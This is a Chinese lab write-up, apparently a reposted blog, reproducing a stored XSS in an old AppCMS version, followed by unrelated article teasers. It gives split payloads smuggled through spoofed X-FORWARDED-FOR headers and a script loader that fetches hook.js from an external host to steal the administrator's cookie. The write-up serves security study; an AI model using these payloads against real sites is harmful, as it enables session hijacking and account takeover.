Appcms存储型XSS漏洞复现

君衍.

  • 一、环境介绍
  • 二、环境部署
  • 三、测试回显
  • 四、多次注入
    • 1、第一条评论
    • 2、第二条评论
    • 3、管理员登录查看
  • 五、编写脚本获取cookie

一、环境介绍

这里需要注意,我没有找到原有的该环境源码包,因为这个是很久前的漏洞了,在XSS学习中可以查看下该漏洞,存储型XSS。准确的版本应该是2以下的,appcms1.3.890肯定存在该漏洞,可以进行复现。
这里很多文章都没有提及,也让我找了好久,害 (原源码包不好找)

当然,这里我们也是有机会使用别的版本进行复现的,那就是直接到数据库中改······

这也是没办法中的办法,源码可以在github中搜索,appcms进行下载,一般下载都是2版本以上:
在这里插入图片描述
所以,我们如果查看源码就会发现之前那个漏洞利用使用到了X-FORWARDED-FOR标头:
在这里插入图片描述
但是在这个版本中其实并没有用到这个请求标头:
在这里插入图片描述
所以这里原本使用伪造IP地址,我就要在文中直接进行数据库更改了,但是文中我尽量体现原有版本步骤,其实这里我用的是上方那个版本,使用伪造其实是不成功大的,同时,我也测试过加上这个请求标头,后来发现并不能通过改包实现对IP地址字段的更改,这里我还是在数据库中进行直接更改。

中间件选择使用Nginx以及Apache都行,不影响,数据库也一样。

在这里插入图片描述

二、环境部署

首先从github上下载源码,这个一搜appcms即可找到安装包,有个7年前的,一下载,然后解压到小皮的网站根目录下:
在这里插入图片描述
下面进行访问该目录,这里使用本机IP地址进行访问,不使用127.0.0.1,因为我们之后要进行抓包改包。
在这里插入图片描述
可以看到我这里IP地址为10.107.135.79,然后我们访问:

ip地址/appcms-master

在这里插入图片描述
点击开始安装:
在这里插入图片描述

点击下一步:
在这里插入图片描述
再点击下一步:
在这里插入图片描述
这里我们设置当前数据库的密码,从而使该网站连接到数据库,以及管理员的密码。 安全码设置不设置都一样,直接下一步:
在这里插入图片描述

可以看到安装完成,然后报错了不用管,不影响我们使用,这里猜测依旧是版本问题,问题不大。

然后我们点击管理首页:
在这里插入图片描述
这里说我们要改管理员目录的名称,随便改,我这里改为zy:
在这里插入图片描述
然后我们访问这个目录:
在这里插入图片描述
正确访问,方便我们之后使用,环境得先搞好,害。登录后即可环境配置完成:
在这里插入图片描述
我这里显示有点奇葩,不过问题不大,搞得能用。

三、测试回显

我们想要完成存储型XSS,那肯定是需要写入数据库当中,从而完成注入,所以这里我们使用该网站的评论功能:(找了半天也就这一个能用)
在这里插入图片描述
我们点击往下滑即可看到评论:
在这里插入图片描述
首先我们可以看到这里可以进行提交内容,同时评论一般情况下肯定在页面上进行显示的,所以我们先提交测试的,观察回显:

这里我们就提交一个注释吧,看能闭合掉不
第一次提交:*/
第二次提交:/*

账户什么随便填,我们主要观察回显的顺序以及内容:
在这里插入图片描述
点击提交:
在这里插入图片描述
再次提交第二个测试:
在这里插入图片描述
点击提交:
在这里插入图片描述
提交之后我们查看源码:
在这里插入图片描述
这里我们可以看到并没有完成闭合,但是评论回显是倒序出现的,同时中间夹着我们本机的IP地址,这个IP我们是否可以进行利用,从而配合我们的评论完成XSS注入。其实是可以的,这里我们需要用到X-FORWARDED-FOR来进行HTTP请求端真实IP伪造,通过这个字段将IP地址进行伪造为我们使用的payload。
思路确定了,我们使用多次注入的方式,同测试一样完成我们的闭合,即:

正常payload:
<script>alert(11111)</script>
达成的效果(将中间的代码注释掉)<script>/**/alert(11111)/**/</script>
多次注入:
<script>/*
	*/alert(11111)/*
		*/</script>

将payload多次拆分,使用两条留言完成注入:

第一次:
内容:*/alert(11111)
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*

四、多次注入

我们上面分析了注入思路,下面我们开始注入:

1、第一条评论

在这里插入图片描述
内容:*/alert(11111)
然后使用Burp进行抓包改包(伪造IP):
在这里插入图片描述
可以看到这里成功抓到,然后我们添加标头:

X-FORWARDED-FOR: */</script>

在这里插入图片描述
然后放通,即可看到留言成功:
在这里插入图片描述
当然,我们也可以在数据库中找到:
在这里插入图片描述
可以看到这里已经成功留言了:
在这里插入图片描述

2、第二条评论

第二次留言我们只需将其IP进行伪造就成:

X-FORWARDED-FOR: <script>/*

在这里插入图片描述
添加标头来伪造IP:
在这里插入图片描述
然后点击放通:
在这里插入图片描述
即可留言成功,观察数据库得:
在这里插入图片描述

3、管理员登录查看

这里准备工作已经做完了,我们只需要登录管理员账户查看评论管理即可:
在这里插入图片描述
查看评论管理:
在这里插入图片描述
很明显可以看到这里进行了弹窗,点击确定查看评论:
在这里插入图片描述
我们可以看到这里没有了zy3得评论,同时zy4账户IP消失了,这才是正确的界面,其他文章在此或多或少有错误。这里我们查看源码便可知道原因:
在这里插入图片描述
这里便可看到我们输入的第一条留言被注释掉了,所以无法显示。

五、编写脚本获取cookie

var scriptElement = document.createElement('script');
scriptElement.src ='http://172.16.100.1:3000/hook.js';
document.body.appendChild(scriptElement);

我们可以编写一串上面的代码,将远程的JS文件加载到当前页面中,远程JS位于我们的XSS平台,从而获取管理员的cookie。
同样使用上面的方式,多次注入:

第一次:
内容:*/var scriptElement = document.createElement('script');scriptElement.src ='http://172.16.100.1:3000/hook.js';document.body.appendChild(scriptElement);/*
IP伪造为:X-FORWARDED-FOR: */</script>
第二次:
内容:随意都行
IP伪造为:X-FORWARDED-FOR: <script>/*

这里便不再演示,我们直接看最后管理员查看评论管理:
在这里插入图片描述
在这里插入图片描述
我们刷新可以看到这里去请求了我们的XSS平台,所以我们获取到cookie后即可完成登录。
在这里插入图片描述
存储型 XSS 攻击就是攻击者通过在网站上存储恶意脚本代码,通常是在数据库中或其他数据存储位置,然后在用户浏览该网站时触发执行这些脚本,从而实现窃取用户敏感信息、劫持用户会话、篡改网页内容等恶意行为。防范存储型 XSS 的关键在于对用户输入进行适当的验证、过滤和转义,来确保用户提供的数据不会被误解为可执行的脚本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/446346.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

康奈尔开源近10万份审稿意见,未来论文发表或将由AI定夺

大语言模型&#xff08;LLMs&#xff09;的进步为自动化论文评审开辟了新途径&#xff0c;这些模型在学术反馈领域展现出巨大潜力。自动化评审的核心优势在于其能够精准指出论文草稿的不足之处&#xff0c;助力作者优化研究。尽管已有丰富的同行评审数据&#xff0c;但现有自动…

【Leetcode每日一题】 位运算 - 位1的个数(难度⭐)(32)

1. 题目解析 题目链接&#xff1a;191. 位1的个数 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 核心在于计算题目所给32位二进制数1的个数返回即可。 2.算法原理 位运算特性&#xff1a;通过位运算&#xff0c;特别是按位与(&…

Ollama--本地大语言模型LLM运行专家

文章目录 1、问题提出2、解决方案3、Ollama介绍3.1、Ollama的核心功能3.2、Ollama的独特之处 4、Ollama安装与使用4.1、Ollama的安装 5、使用Docker6、模型库和自定义模型7、应用场景展望8、结语 1、问题提出 使用chatgpt之类的闭源大语言模型时&#xff0c;我们与ai沟通的数据…

大数据时代的数据保护:分布式存储系统的七大原则

第一原则&#xff1a;“灾”和“备”&#xff0c;区分容灾切换与数据备份的区别 管理对象 管理对象 防什么&#xff1f; 底层逻辑 核心评价指标 容灾切换 IT环境与业 物理灾难 …

数学建模-敏感度分析(美赛)

从多个不确定性因素中逐一找出对投资项目经济效益指标有重要影响的敏感性因素&#xff0c;并分析、测算其对项目经济效益指标的影响程度和敏感性程度&#xff0c;进而判断项目承受风险的能力。若某参数的小幅度变化能导致经济效益指标的较大变化&#xff0c;则称此参数为敏感性…

代码随想录刷题笔记 DAY 42 | 最后一块石头的重量 II No.1049 | 目标和 No.494 | 一和零 No.474

文章目录 Day 4301. 最后一块石头的重量 II&#xff08;No. 1049&#xff09;<1> 题目<2> 笔记<3> 代码 02. 目标和&#xff08;No. 494&#xff09;<1> 题目<2> 笔记<3> 代码 03. 一和零&#xff08;No. 474&#xff09;<1> 题目&l…

最顶级的Unity团队都在使用的技巧!!!

作为该系列的第二篇文章&#xff0c;今天将给大家分享一下&#xff0c;Unity最资深的团队是如何设置物理、UI和音频的。希望可以帮助大家最大限度的使用Unity引擎。 第一篇给大家介绍了如何提高资源、项目配置和图形的性能&#xff0c;感兴趣的朋友千万不要错过了。 文章链接…

css-vxe-form-item中输入框加自定义按钮(校验位置错误)

1.浮动错误效果 提示内容不对 2.不使用浮动&#xff0c;使用行内块元素 代码如下 <vxe-form-item title"yoyo:" field"assembleWorkNo" span"8"><template #default><vxe-input style"width:70%;display:inline-block;&quo…

1572.矩阵对角线元素的和

刷算法题&#xff1a; 第一遍&#xff1a;1.看5分钟&#xff0c;没思路看题解 2.通过题解改进自己的解法&#xff0c;并且要写每行的注释以及自己的思路。 3.思考自己做到了题解的哪一步&#xff0c;下次怎么才能做对(总结方法) 4.整理到自己的自媒体平台。 5.再刷重复的类…

单文件组件SFC及Vue CLI脚手架的安装使用

单文件组件SFC及Vue CLI脚手架的安装使用 Vue 单文件组件&#xff08;又名 *.vue 文件&#xff0c;缩写为 SFC&#xff09;是一种特殊的文件格式&#xff0c;它允许将 Vue 组件的模板、逻辑 与 样式封装在单个文件中。 为什么要使用 SFC 使用 SFC 必须使用构建工具&#xff…

【顶刊|修正】多区域综合能源系统热网建模及系统运行优化【复现+延伸】

目录 主要内容 部分代码 结果一览 下载链接 主要内容 该程序复现《多区域综合能源系统热网建模及系统运行优化》模型并进一步延伸&#xff0c;基于传热学的基本原理建立了区域热网能量传输通用模型&#xff0c;对热网热损方程线性化实现热网能量流建模&#xff0…

[OpenWrt 22.03] ttylogin添加登录密码与禁止登录的配置

ttylogin 的使用 Openwrt 串口默认是没有密码的。Openwrt启动后,一个默认的密码将被启用去保护ssh登录和页面(http)登录,而串口登录密码却是空缺的。 对于 Openwrt,当内核初始化后,就会启动第一个进程 init,init进程会进行一系列的系统初始化工作,然后会读取 /etc/in…

总结:Spring创建Bean循环依赖问题与@Lazy注解使用详解

总结&#xff1a;Spring创建Bean循环依赖问题与Lazy注解使用详解 一前提知识储备&#xff1a;1.Spring Bean生命周期机制&#xff08;IOC&#xff09;2.Spring依赖注入机制&#xff08;DI&#xff09;&#xff08;1&#xff09;Autowired注解标注属性set方法注入&#xff08;2&…

力扣530. 二叉搜索树的最小绝对差

思路1&#xff1a;中序遍历&#xff0c;递归排序成有序数组&#xff1b;因为是有序&#xff0c;只需要求相邻两个值的最小差值。 class Solution {ArrayList <Integer> list new ArrayList();int ans 100001;//题目最大 100000public int getMinimumDifference(TreeNo…

[QT]自定义的QtabWidget

需求 最近有一个需求就是一个QTabWidget要求有四个tab页在左侧用于显示主页面&#xff0c;在右侧有一个关于按钮&#xff0c;点击后用于弹出窗口显示一些程序相关信息。主要是怎么实现右侧按钮 相关代码 #ifndef MYTABWIDGET_H #define MYTABWIDGET_H#include <QWidget&g…

docker学习(十四)docker搭建私服

docker私服搭建&#xff0c;配置域名访问&#xff0c;设置访问密码 启动registry docker run -d \-p 5000:5000 \-v /opt/data/registry:/var/lib/registry \registrydocker pull hello-world docker tag hello-world 127.0.0.1:5000/hello-world docker push 127.0.0.1:5000…

金融数据采集与风险管理:Open-Spider工具的应用与实践

一、项目介绍 在当今快速发展的金融行业中&#xff0c;新的金融产品和服务层出不穷&#xff0c;为银行业务带来了巨大的机遇和挑战。为了帮助银行员工更好地应对这些挑战&#xff0c;我们曾成功实施了一个创新的项目&#xff0c;该项目采用了先进的爬虫技术&#xff0c;通过ope…

安全测试报告-模板内容

1. 概述 为检验XXXX平台 系统的安全性&#xff0c;于 XXXX年 XX 月 XX 日至 XXXX年 XX 月 XX日对目标系统进行了安全测试。在此期间测试人员将使用各 种非破坏性质的攻击手段&#xff0c;对目标系统做深入的探测分析&#xff0c;进而挖掘系统中的安 全漏洞和风险隐患。研发团队…

《互联网的世界》第五讲-信任和安全(第一趴:物理世界的非对称加密装置)

信任和安全的话题过于庞大&#xff0c;涉及很多数学知识&#xff0c;直接涉及 “正事” 反而不利于理解问题的本质&#xff0c;因此需要先讲一个前置作为 part 1。 part 1 主要描述物理世界的信任和安全&#xff0c;千万不要觉得数字世界是脱离物理世界的另一天堂&#xff0c;…

Vue 3中的ref:响应式变量的强大工具

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…